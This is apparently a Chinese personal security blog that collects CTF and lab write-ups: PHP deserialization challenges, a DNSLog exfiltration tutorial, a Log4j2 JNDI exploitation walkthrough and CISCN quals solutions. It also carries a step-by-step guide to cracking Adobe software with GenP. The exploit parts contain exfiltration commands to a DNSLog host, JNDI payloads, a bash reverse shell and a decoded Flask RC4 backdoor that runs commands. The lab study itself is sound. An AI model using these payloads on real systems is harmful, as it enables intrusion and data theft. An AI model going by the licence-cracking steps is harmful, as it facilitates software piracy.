//------ 每次请求会随机返回两个属性，你也可以用 chance 来指定你想要的属性 ------  
//Now __sleep()'s return parameters is array('o','o','you shuold use it')  
//O:9:"CHALLENGE":3:{s:1:"o";s:7:"called_";s:1:"o";s:7:"called_";s:17:"you shuold use it";N;}

这个题目主要是为了告诉你当执行serialize()时，先会调用__sleep()函数

在CHALLENGE这个类中它继承了 FLAG 类因此它拥有能够访问FLAG类里面的f、l、a、g变量

这边给你提示说/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */

里面提到了多次f、a变量由于子类应该是对f、a变量进行再次的赋值因此如果我们要获取完整正确的flag 我们需要在获取的时候 f、l、a、g变量都应该获取父类的变量

还有一个知识点就是在我们调用非public类型变量的时候有着特殊的调用规则

	public	private	protected
payload	{name}	%00{classname}%00{name}	%00{*}%00{name}

通过代码审计我们知道我们可以通过 get对chance参数传参去获得对应的变量数据

因此Payload：

GET传参 ?chance={value}
value依次为 h、e、l、I、o、c、t、f、%00FLAG%00f、%00FLAG%00l、%00*%00a、g

得到flag的部分片段然后进行拼接得到Flag

NSSCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

[反序列化靶场]Level13-__toString()

class FLAG {  
    function __toString() {  
        echo "I'm a string ~~~";  
        include 'flag.php';  
        return $flag;  
    }  
}  
  
$obj = new FLAG();  
  
if(isset($_POST['o'])) {  
    eval($_POST['o']);  
} else {
    highlight_file(__FILE__);  
}

魔法函数__toString指的是当此类当作字符串时函数将会被调用

这边如果这个函数被调用则会直接返回flag值也就是说把它当作字符串时他就是flag

所以我们这边直接执行输出

Payload：

POST传参 o=echo $obj;

得到Flag

NSSCTF{00119b97-2cfd-4b41-a8a9-2966fedf10a8}

[反序列化靶场]Level14-__invoke()

class FLAG{  
    function __invoke($x) {  
        if ($x == 'get_flag') {  
            include 'flag.php';  
            echo $flag;  
        }  
    }  
}  
  
$obj = new FLAG();  
  
if(isset($_POST['o'])) {  
    eval($_POST['o']);  
} else {
    highlight_file(__FILE__);  
}

这依旧是一个魔法函数 __invoke 它表示当此类被当作函数调用时将会调用此函数

代码审计发现当__invoke 被调用时的输入值为get_flag时将直接输出flag值

于是Payload：

POST传参 o=$obj(get_flag);

得到Flag

NSSCTF{96cc166d-3560-4da6-b2b9-be01d14d4d4a}

今天写累了先写到这吧明天再写下半部分

DNSLog在命令执行无回显下实现数据外带

Thu, 26 Mar 2026 21:35:02 GMT

关于通过使用DNSLog在命令执行无回显下实现数据外带

前言

最近在做CTF题目的时候，学习了一些关于SSTI的相关知识，目前在使用SSITLab靶场进行学习实践 ::github{repo="X3NNY/sstilabs"} 在Level 3中 no waf and blind 无回显构造出来可以 RCE 的payload

{{lipsum.__globals__['os'].popen('ls').read()}}

只回显

Hello correct

属于 blind 类型并且发现可以出网尝试DNSLog

常用场景

SQL盲注
无回显的XSS
无回显的命令执行
无回显的SSRF
Blind XXE

这边的ssti也是属于场景3 然后使用流量数据外带 之前log4j2漏洞的验证中也使用了相同的方法

Linux中的利用方式

反引号 + ping

ping `whoami`.658e5dcb64.ddns.1433.eu.org

$() + ping

ping $('whoami').e6c6da99ff.ddns.1433.eu.org

curl

curl $('whoami').d209fb7a01.ddns.1433.eu.org

whois

先开启监听：

nc -lvp 666

whois -h 127.0.0.1 -p 666 `whoami`

Windows中的利用方式

ping+系统变量

ping %USERNAME%.cdef887130.ddns.1433.eu.org

常见系统变量列表

变量	类型	描述
%ALLUSERSPROFILE%	本地	返回“所有用户”配置文件的位置。
%APPDATA%	本地	返回默认情况下应用程序存储数据的位置。
%CD%	本地	返回当前目录字符串。
%CMDCMDLINE%	本地	返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION%	系统	返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME%	系统	返回计算机的名称。
%COMSPEC%	系统	返回命令行解释器可执行程序的准确路径。
%DATE%	系统	返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息，请参阅 Date。
%ERRORLEVEL%	系统	返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE%	系统	返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH%	系统	返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE%	系统	返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER%	本地	返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS%	系统	指定安装在计算机上的处理器的数目。
%OS%	系统	返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH%	系统	指定可执行文件的搜索路径。
%PATHEXT%	系统	返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE%	系统	返回处理器的芯片体系结构。值：x86 或 IA64（基于 Itanium）。
%PROCESSOR_IDENTFIER%	系统	返回处理器说明。
%PROCESSOR_LEVEL%	系统	返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION%	系统	返回处理器的版本号。
%PROMPT%	本地	返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM%	系统	返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE%	系统	返回包含 Windows server operating system 根目录（即系统根目录）的驱动器。
%SYSTEMROOT%	系统	返回 Windows server operating system 根目录的位置。
%TEMP%和%TMP%	系统和用户	返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP，而其他应用程序则需要 TMP。
%TIME%	系统	返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息，请参阅 Time。
%USERDOMAIN%	本地	返回包含用户帐户的域的名称。
%USERNAME%	本地	返回当前登录的用户的名称。
%USERPROFILE%	本地	返回当前用户的配置文件的位置。
%WINDIR%	系统	返回操作系统目录的位置。

Adobe克星完美的genp让adobe原地升天可以在Adobe Creative Cloud更新！！

Wed, 25 Feb 2026 18:15:59 GMT

Adobe全家桶 Adobe在天上失禁地看着GenP 可以直接从Adobe Creative Cloud更新！！

前言

之前装过一个离线的Photoshop 2023版本，不过后来用的时候提示 # This unlicensed Adobe app is not genuine and will be disable

类似于这样的一个页面尝试禁用adobe相关域名的网络但是只维持了几天

仍出现THIS APP HAS BEEN DISABLED的提示点击后直接崩溃然后我就去找一些教程尝试了很多教程都没有办法缓解知道我看见这一条评论

下载一个Adobe GenP-v3.7.1.exe，就可以完美解决，我用了Up的方法，还有其他方法都不行，就这个玩意找到对应文件夹，然后点Search，然后点Path一下，就完事了，实测有效。有需要私信我。

经过实验发现 GenP 破解有以下优点

可以在Adobe Creative Cloud更新
所有标准内容包和工具均默认通过官方安装程序下载
拥有完善的wiki与社群
由于采用手动控制，大多数人认为它更安全
非常适合完整的 Adobe 套件和多个应用程序
软件开源

于是就有了这篇文章

GenP教程

:::Caution

GENP 完全免费

GenP社区的官方运作平台是Lemmy和Stoat，GenP Wiki是唯一可信的下载和文档来源。这些平台直接链接到官方GenP Wiki，以避免镜像和重新上传造成的混乱。

:::

:::Important

这篇文章根据 GenP-v4.0.0.exe 编写，由于软件仍在更新，很多东西可能已经无法使用，请以官方wiki最新内容为主

:::

适用设备

GenP 和 Monkrus 兼容性 – 仅支持部分 Windows 版本

GenP 仅支持 Adobe 官方支持的基于 x64 的 Windows 10 和 Windows 11 版本。

Monkrus 可在基于 x86 和 x64 的 Windows 10 或 11 系统上运行（取决于版本），但可能会绕过某些安装程序端的检查，以牺牲稳定性和兼容性为代价。

GenP 和 Monkrus 均不支持 ARM64、IoT、LTSC 或修改或精简的 Windows 版本。

兼容性列表

官方最新列表：https://wiki.dbzer0.com/genp-guides/compatibility-list/

通用版本 (GA) 应用 (x86/x64)

这是稳定版本，目前所有受 GenP 支持的用户均可使用。

:::details

Acrobat v25.1 (Latest: v25.001.21265)
After Effects v26.0
Audition v26.0
Bridge v16.0.2
Camera Raw v18.2.1
Character Animator v26.0
Creative Cloud v6.8.1.865
Dimension v4.1.8
Dreamweaver v21.7
Illustrator v30.2.1
InCopy v21.2
InDesign v21.2
Lightroom Classic v15.2
Media Encoder v26.0
Photoshop v27.4
Photoshop Elements ≥v26.0 (Latest: v2026.2 - Build: 20251121.PSE.e62dc8f8)
Premiere Elements ≥v26.0 (Latest: v2026.1 - Build: 20251104.PRE.65345cd3)
Premiere Pro v26.0.1
Substance 3D Designer v15.1.2
Substance 3D Modeler v1.22.6
Substance 3D Painter v11.1.3
Substance 3D Sampler v5.1.3
Substance 3D Stager v3.1.8

:::

GenP (x86/x64) 不支持的通用版本 (GA) 应用

:::details

Aero v0.24.4（已停产/生命周期结束 - 已于 2025 年 11 月 6 日从 Creative Cloud 中移除；服务器已于 2025 年 12 月 3 日关闭）
Animatev24.0.12（维护模式；无新功能；仅进行安全和错误修复更新；仍对新老用户可用）
Express Photos （Adobe，原名 Photoshop Express。基础 CC 版本；可能通过 Microsoft Storev3.24.4自动更新）≥v3.28
Fresco v5.7.0（所有版本≥v5.7.0均可免费使用，无需打补丁；仅≤v5.5.5可使用以下方式打补丁GenP v3.4.2）
Lightroomv9.2
Maxon Cinema 4D v2026.1.3（所有版本≥v2024.3.2，使用免费的 C4D Lite 许可证；仅≤v2024.2.0支持版本补丁GenP v3.4.13.4）
Premiere Rush v2.10（已停止服务；不再向新用户开放。2026年9月30日之后将完全停止支持）
UXP开发者工具v2.2.1（无需打补丁）
XD v60.0.12（GenP v3.4.2仅限补丁程序）（已停止更新；不再向新用户提供。现有用户只有在加入 Creative Cloud Pro 计划后才能获得维护和错误修复更新。）

:::

第一步：下载Adobe Creative Cloud

Adobe Creative Cloud下载链接

然后正常根据引导下一步即可（直接登录自己的Adobe账号）

:::Warning

如果显示 -请勿安装 Adobe 正版服务 (AGS) - 如果未显示，请继续。

:::

安装完毕之后打开Adobe Creative Cloud

在 文件>首选项>常规>设置中关闭所有

第二步：下载GenP最新版本

打开下载链接：https://gen.paramore.su/ 直接下载最新版本

直接下载二进制文件即可若不放心可与选择source自行构建

第三步：破解Adobe Creative Cloud

先关闭Adobe Creative Cloud进程然后打开GenP 在Options中打开Always search for ACC

先点Path找到下载Adobe Creative Cloud的目录（到Adobe目录即可） 然后再点击search进行搜索

搜索完之后全选然后点击patch破解 等待跑完进度条之后会自动转跳到Log

最后打开Adobe Creative Cloud发现购买按钮已经变成了下载按钮

此时Adobe Creative Cloud已被破解

第四步：下载对应版本软件

提示：在文件>首选项>应用程序>正在安装位置可以修改安装目录

在Adobe Creative Cloud找到对应软件但是不要直接下载 在兼容性列表中先找到对应软件查看支持版本

在其他版本中下载对应版本

第五步：使用GenP解锁软件

打开GenP 在path中找到你下载软件的目录（依旧到adobe目录即可）

然后直接全选进行patch读条结束后依旧展示Log

关闭GenP 打开软件即可完成解锁

阻止不必要的 Adobe 后台进程 (PS/DC)

这里引用官方的wiki内容

除了这里提到的那些之外，不要阻止其他后台进程，阻止其他后台进程既不建议也不必要。

感谢 Verix

适用于 Photoshop：

:::details

你只需要重命名这四个.exe文件即可。

C:\Program Files (x86)\Adobe\Adobe Sync\CoreSync\CoreSync.exe
C:\Program Files\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe
C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
C:\Program Files\Common Files\Adobe\Creative Cloud Libraries\CCLibrary.exe

只需.bak在句点后添加即可.exe。

例如：CoreSync.exe-->CoreSync.exe.bak

（如果文件名中看不到.exe扩展名，您需要在资源管理器中启用文件扩展名显示。）

:::

适用于 Acrobat DC：

:::details

你只需要重命名这个.exe.文件即可。

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

只需.bak在句点后添加即可.exe。

例如：AdobeCollabSync.exe-->AdobeCollabSync.exe.bak

（如果文件名中看不到.exe扩展名，您需要在资源管理器中启用文件扩展名显示。）

:::

⚠️用于安装和更新：

:::details

要在 Creative Cloud 中执行任何新安装或更新，您必须至少还原以下名称更改：

C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe

此文件是 Creative Cloud 的核心服务，用于管理安装和更新流程。如果重命名或禁用此文件，安装和更新将失败或被阻止。

警告： 恢复.bak文件会将已打补丁的版本替换为原始版本，这意味着 CC 将不再打补丁。如果执行此操作，则必须在完成安装或更新后使用 GenP 重新为 CC 打补丁。

如果原始文件丢失或损坏，请使用 CC 应用卸载工具将其恢复，然后再重新安装 CC。此过程在“故障排除”部分的“CC 应用错误”中有详细说明。

为了完全兼容并防止与其他 Adobe 应用程序出现安装或更新问题，请.exe在继续操作之前将所有重命名的文件恢复为原始名称。

:::

温馨提示

没事别更新！没事别更新！没事别更新！

本篇文章已被收录至自用软件合集！中

【CVE-2021-44228】log4j2漏洞的验证与利用

Fri, 30 Jan 2026 16:00:44 GMT

【CVE-2021-44228】log4j2漏洞的验证与利用

声明

:::Caution

非法利用信息网络罪：根据《刑法》第287条之一，设立网站、通讯群组或发布信息用于实施诈骗、传授犯罪方法、制作销售违禁品等违法犯罪活动，情节严重的可处3年以上7年以下有期徒刑，并处罚金。
帮助信息网络犯罪活动罪：根据《刑法》第287条之二，明知他人利用网络实施犯罪，仍提供技术支持或帮助
非法侵入计算机信息系统罪：根据《中华人民共和国刑法》违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的行为，情节严重的可处3年以下有期徒刑或者拘役
破坏计算机信息系统罪：根据《刑法》第286条，违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，后果严重的可处5年以下有期徒刑或者拘役；故意制作、传播计算机病毒等破坏性程序，影响计算机系统正常运行的，后果严重的可处5年以上有期徒刑。

:::

:::Important

本文章中所展示的所有设备、环境及演示内容，均在封闭、可控的测试环境下完成，不涉及真实攻击，也不针对任何个人或组织。

:::

漏洞原理

log4j2 在日志输出中，未对字符合法性进行严格的限制，执行了 JNDI 协议加载的远程恶意脚本，从而造成RCE。

详细过程分析：

log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能，传进去的值会被直接解析。

当用户输入信息时，应用程序中的 log4j2 组件会将信息记录到日志中，假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class} ，log4j2 就会去解析该信息，通过 JNDI 的 lookup() 方法去解析 URL：ldap:192.168.249.1:9001/poc.class，解析到 ldap，就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源，如果找不到则会去 http 服务中找，只要在 ldap 或者 http 中找到了 poc.class ，就会将资源信息返回到 JNDI 接口，进而返回给应用程序的 log4j2 组件，而 log4j2 组件会将其下载下来，然后发现 poc.class 是一个 .class 文件，就会去执行里面的代码，从而实现注入，我们就可以通过 poc.class 实现任意命令的执行。

影响版本

受影响版本范围：2.0 ≤ Apache Log4j2 < 2.15.0-rc2

靶场

这里使用Vulfocus靶场平台

名称: vulfocus/log4j2-rce-2021-12-09:1

打开靶场主页

点击????? url被传入payload参数

漏洞验证

这里使用无痛的流量外带方法进行验证

以下是几个流量外带服务的网站

这边使用的是dig.pm dnslog和ceye在本地测试可以ping通但是没办法在靶机上使用

payload格式如下

${jndi:ldap://5t0p3a.dnslog.cn}

这里以bc3b5e6b14.ddns.1433.eu.org.为例

payload为

${jndi:ldap://bc3b5e6b14.ddns.1433.eu.org.}

直接将payload 拼凑进url测试

http://123.58.224.8:41841/hello?payload=${jndi:ldap://bc3b5e6b14.ddns.1433.eu.org.}

这边对 payload 进行urlencode

payload为

%24%7Bjndi%3Aldap%3A%2F%2Fbc3b5e6b14.ddns.1433.eu.org.%7D

拼凑进url 进行访问测试

返回 ok 此时我们返回平台查看数据

成功带出流量再进行获取版本测试将 ${sys:java.version}. 拼接进去

得到 payload

${jndi:ldap://${sys:java.version}.bc3b5e6b14.ddns.1433.eu.org.}

urlencode后

%24%7Bjndi%3Aldap%3A%2F%2F%24%7Bsys%3Ajava.version%7D.bc3b5e6b14.ddns.1433.eu.org.%7D

外带出数据证明漏洞存在

漏洞利用

1. 打开端口监听

这里我使用的是本地的kali VM系统进行监听

nc -lvvp <端口号>

然后由于我这里没有公网需要将内网监听映射到公网

随便找个穿透工具即可

2. 构建反弹shell的bash命令

这里使用Runtime.exec Payload Generater工具生成指令

原始命令如下

bash -i >& /dev/tcp/<监听机ip>/<端口号> 0>&1

得到最后的bash指令

bash -c {echo,BASE64_here}|{base64,-d}|{bash,-i}

3. 创建恶意的JNDI脚本服务

这里使用的工具是JNDI-Injection-Exploit

::github{repo="welk1n/JNDI-Injection-Exploiti"}

直接下载发布版本即可

:::warning

要确保 1099、1389、8180端口可用，不被其他程序占用。

或者你也可以在run.ServerStart类26~28行更改默认端口。
命令会被作为参数传入Runtime.getRuntime().exec()，

所以需要确保命令传入exec()方法可执行。

bash等可在shell直接执行的相关命令需要加双引号，比如说 java -jar JNDI.jar -C "bash -c ..."
建议使用java8运行

:::

这边使用vps进行操作方便公网访问

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "{bash Payload}" -A <vpsIP>

会返回JNDI Links

----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://xxxxx:1099/lpb6g2
ldap://xxxxx:1389/lpb6g2
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://xxxxx:1099/jzjrwx
ldap://xxxxx:1389/jzjrwx
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://xxxxx:1099/8fhn3d

4. 尝试反弹shell

我们从第一步获得的版本号来看我们的JDK版本是1.8

所以应使用第一条或最后一条链接进行测试

组合payload

//第一条
${jndi:rmi://xxxxx:1099/lpb6g2}

//最后一条
${jndi:rmi://xxxxx:1099/8fhn3d}

分别进行urlencode

//第一条
%24%7Bjndi%3Armi%3A%2F%2Fxxxxx%3A1099%2Flpb6g2%7D

//最后一条
%24%7Bjndi%3Armi%3A%2F%2Fxxxxx%3A1099%2F8fhn3d%7D

拼接进url中进行请求测试

请求完后注意kali中是否已经反弹shell

经过测试后发现最后一条链接成功反弹shell

5. 查看权限并获取flag

在终端中直接运行命令即可

whoami

我们发现我们已经获得root权限经过查找我们在/tmp目录下找到flag

flag-{bmh3a91a4d8-2f73-4144-946a-d26c840fc37b}

就此漏洞利用完毕拿下控制权

视频操作

</iframe>

【难】【2025-CCB-CISCN-初赛】部分题目 WriteUp

Tue, 06 Jan 2026 15:06:19 GMT

【难】【2025-CCB-CISCN-初赛】部分题目 WriteUp

前言

题目归档链接：https://pan.chuzoux.top/OneDrive%20E3/CTF/CTF-Archives/2025-CCB-CISCN-Quals

特别感谢 CTF-Archives 团队对题目的收集归档 ::github{repo="CTF-Archives/2025-CCB-CISCN-Quals"} 标题格式为 题目名称 | 本题解出数

Web安全

hellogate | 1187

第一步：使用burp suite直接访问

我们查看到数据包内的最后含有php代码片段（其实将图片下载下来然后用010 editor打开也能看到）

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

第二步：分析代码漏洞

一个简单的php反序列化漏洞+文件包含漏洞

我们最后的目的是file_get_contents

于是反推链子 C::__get（C::file_get_contents） -> B::__toString -> A::triggerMethod

编写 payload

<?php

error_reporting(0);

class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle;
    }
}

class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}

// $raw = isset($_POST['data']) ? $_POST['data'] : '';
// header('Content-Type: image/jpeg');
// readfile("muzujijiji.jpg");
// highlight_file(__FILE__);

$a = new A;
$a ->handle=new B;
$a ->handle->worker=new C;
$a ->handle->worker->cmd = "{文件包含}";
echo urlencode(serialize($a));

//$obj = $a;
//$obj->triggerMethod();

我们就可以调用file_get_contents();函数了

同时利用文件包含漏洞进行测试 cmd="php://filter/read=convert.base64-encode/resource=index.php"

在得到的数据包末尾发现base64数据

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpjbGFzcyBBIHsKICAgIHB1YmxpYyAkaGFuZGxlOwogICAgcHVibGljIGZ1bmN0aW9uIHRyaWdnZXJNZXRob2QoKSB7CiAgICAgICAgZWNobyAiIiAuICR0aGlzLT5oYW5kbGU7IAogICAgfQp9CmNsYXNzIEIgewogICAgcHVibGljICR3b3JrZXI7CiAgICBwdWJsaWMgJGNtZDsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX3RvU3RyaW5nKCkgewogICAgICAgIHJldHVybiAkdGhpcy0+d29ya2VyLT5yZXN1bHQ7CiAgICB9Cn0KY2xhc3MgQyB7CiAgICBwdWJsaWMgJGNtZDsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2dldCgkbmFtZSkgewogICAgICAgIGVjaG8gZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmNtZCk7CiAgICB9Cn0KJHJhdyA9IGlzc2V0KCRfUE9TVFsnZGF0YSddKSA/ICRfUE9TVFsnZGF0YSddIDogJyc7CmhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnJyk7CnJlYWRmaWxlKCJtdXp1amlqaWppLmpwZyIpOwpoaWdobGlnaHRfZmlsZShfX0ZJTEVfXyk7CiRvYmogPSB1bnNlcmlhbGl6ZSgkX1BPU1RbJ2RhdGEnXSk7CiRvYmotPnRyaWdnZXJNZXRob2QoKTs=

解码

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

可得存在此漏洞

第三步：猜测读取flag文件

通过反序列化和文件包含漏洞
我们尝试读取flag

对flag.php尝试 ——>无数据返回对/flag尝试 ——>无数据返回

尝试路径穿越

对../flag尝试 ——> 无数据返回对../../flag尝试 ——> 无数据返回对../../../flag尝试 ——>返回base64数据数据如下

ZmxhZ3szMWI5ZjQ4MS0yMmMzLTQzMjYtYjM3NS1jMGRiYmY2Nzc5N2N9

解码得到flag

flag{31b9f481-22c3-4326-b375-c0dbbf67797c}

redjs | 720

小明在服务器上部署了一个常用的框架，请你帮忙看看是否有问题。

第一步：分析得到框架版本找到CVE

打开网站发现大大的nextjs 发现网站存在 CVE-2025-55182 漏洞

第二部：利用工具进行rce获取flag

::github{repo="sangleshubham/React-Security-CVE-2025-55182-Exploit"}

node .\react2shell.js url "cat /flag"

直接得到flag

flag{6e53a51c-286d-47e9-924f-c605be8ad31b}

流量分析

SnakeBackdoor-1 | 1435

近期发现公司网络出口出现了异常的通信，现需要通过分析出口流量包，对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话，分析会话编写exp或数据包重放，查找服务器上安装的后门木马，然后分析木马外联地址和通信密钥以及木马启动项位置。攻击者爆破成功的后台密码是什么？，结果提交形式：flag{xxxxxxxxx}

第一步：找到相关流量包

找到http协议中含有password字段的流量包我们不难发现攻击者使用字典暴力破解密码只需要找到登录成功的流量包即可

第二部：找到登录成功特征

如图中的对/admin目录的访问可知此时已经登录成功并进行操作于是我们在此寻找登录成功的发包即可

第三步：找到登录成功的发包

我们可以得知此处登录成功后黑客被重定向到/admin/panel 下分解post请求数据包即可获得密码

Form item: "password" = "zxcvbnm123"

flag{zxcvbnm123}

SnakeBackdoor-2 | 1314

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么，结果提交形式：flag{xxxxxxxxxx}

第一步：定位到相关数据包

直接对http协议数据包进行检索搜索SECRET_KEY字段找到唯一数据包No.28825

第二步：分解数据包

<div style="padding:1rem;border:1px solid #ddd">&lt;Config {&#39;DEBUG&#39;: True, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;SECRET_KEY&#39;: &#39;c6242af0-6891-4510-8432-e1cdf051f160&#39;, &#39;SECRET_KEY_FALLBACKS&#39;: None, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;TRUSTED_HOSTS&#39;: None, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_PARTITIONED&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;MAX_FORM_MEMORY_SIZE&#39;: 500000, &#39;MAX_FORM_PARTS&#39;: 1000, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;PROVIDE_AUTOMATIC_OPTIONS&#39;: True}&gt;</div>

得到SECRET_KEY：c6242af0-6891-4510-8432-e1cdf051f160

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3 | 953

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload，给出该加密算法使用的密钥字符串(Key) ，结果提交形式：flag{xxxxxxxx}

第一步：找到传输木马文件的数据包

通过这个数据包我们可以发现这个网站的框架为Python Flask/Jinja2 模板黑客在尝试 Python Flask/Jinja2 模板注入 (SSTI) 攻击

于是我们需要寻找类似于exec类似的函数来执行相应内容经过检索我们大概确定了木马植入的数据包接下来就要对数据包内容进行解析

第二步：检查数据包木马内容

提取payload

preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXy..........'))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

将base64.b64decode()中的内容进行base64解码

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+//vPzftv8gri635a0...........'))

我们可以看到这边如何处理那一大堆乱码

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)

其中[::-1]表示对字符串反转然后对反转后的字符串进行base64.decodebase64解码然后 Zlib 解压

于是我们对一下乱七八糟一片进行解码

然后我们得到新的一大堆字符串

=Mh9tF+P77///Ifl............

由于等号前置于是我们再次猜测解码方式和上方一样再次进行多次解码即可得到攻击代码

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
	S = list(range(256))
	j = 0
	for i in range(256):
		j = (j + S[i] + key[i % len(key)]) % 256
		S[i], S[j] = S[j], S[i]
	i = j = 0
	res = bytearray()
	for char in data:
		i = (i + 1) % 256
		j = (j + S[i]) % 256
		S[i], S[j] = S[j], S[i]
		res.append(char ^ S[(S[i] + S[j]) % 256])
	return bytes(res)
def backdoor_handler():
	if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
		return "Error"
	enc_hex_cmd = request.form.get('data')
	if not enc_hex_cmd:
		return ""
	try:
		enc_cmd = binascii.unhexlify(enc_hex_cmd)
		cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
		output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
		enc_output = rc4_crypt(output_bytes, RC4_SECRET)
		return binascii.hexlify(enc_output).decode()
	except:
		return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

1. 编写解码脚本思路：

2. 字符串反转 ([::-1])：把字符串倒过来。

3. Base64 解码 (b64decode)：将倒序后的字符串进行 Base64 解码。

4. Zlib 解压 (decompress)：将解码后的二进制数据进行解压，得到原始代码。

:::note[这里提供一个大佬写的脚本]

import base64
import zlib
import re
import os
import binascii
 
# Embedded Payload (extracted from original challenge)
PAYLOAD = b'=c4CU3xP+//vPzftv8gri63......'
 
def decrypt_layer(data):
    """
    解密单层逻辑:
    1. 清理空白字符
    2. 字符串逆序 (Reverse)
    3. Base64 解码
    4. Zlib 解压缩
    """
    # 清理可能存在的换行和空格
    data = data.replace(b'\n', b'').replace(b'\r', b'').replace(b' ', b'')
    
    # 逆序
    reversed_data = data[::-1]
    
    # Base64 解码
    try:
        b64_decoded = base64.b64decode(reversed_data)
    except Exception as e:
        raise ValueError(f"Base64 decode failed: {e}")
    
    # Zlib 解压
    try:
        decompressed = zlib.decompress(b64_decoded)
    except Exception as e:
        # 尝试跳过头部或使用 raw deflate
        try:
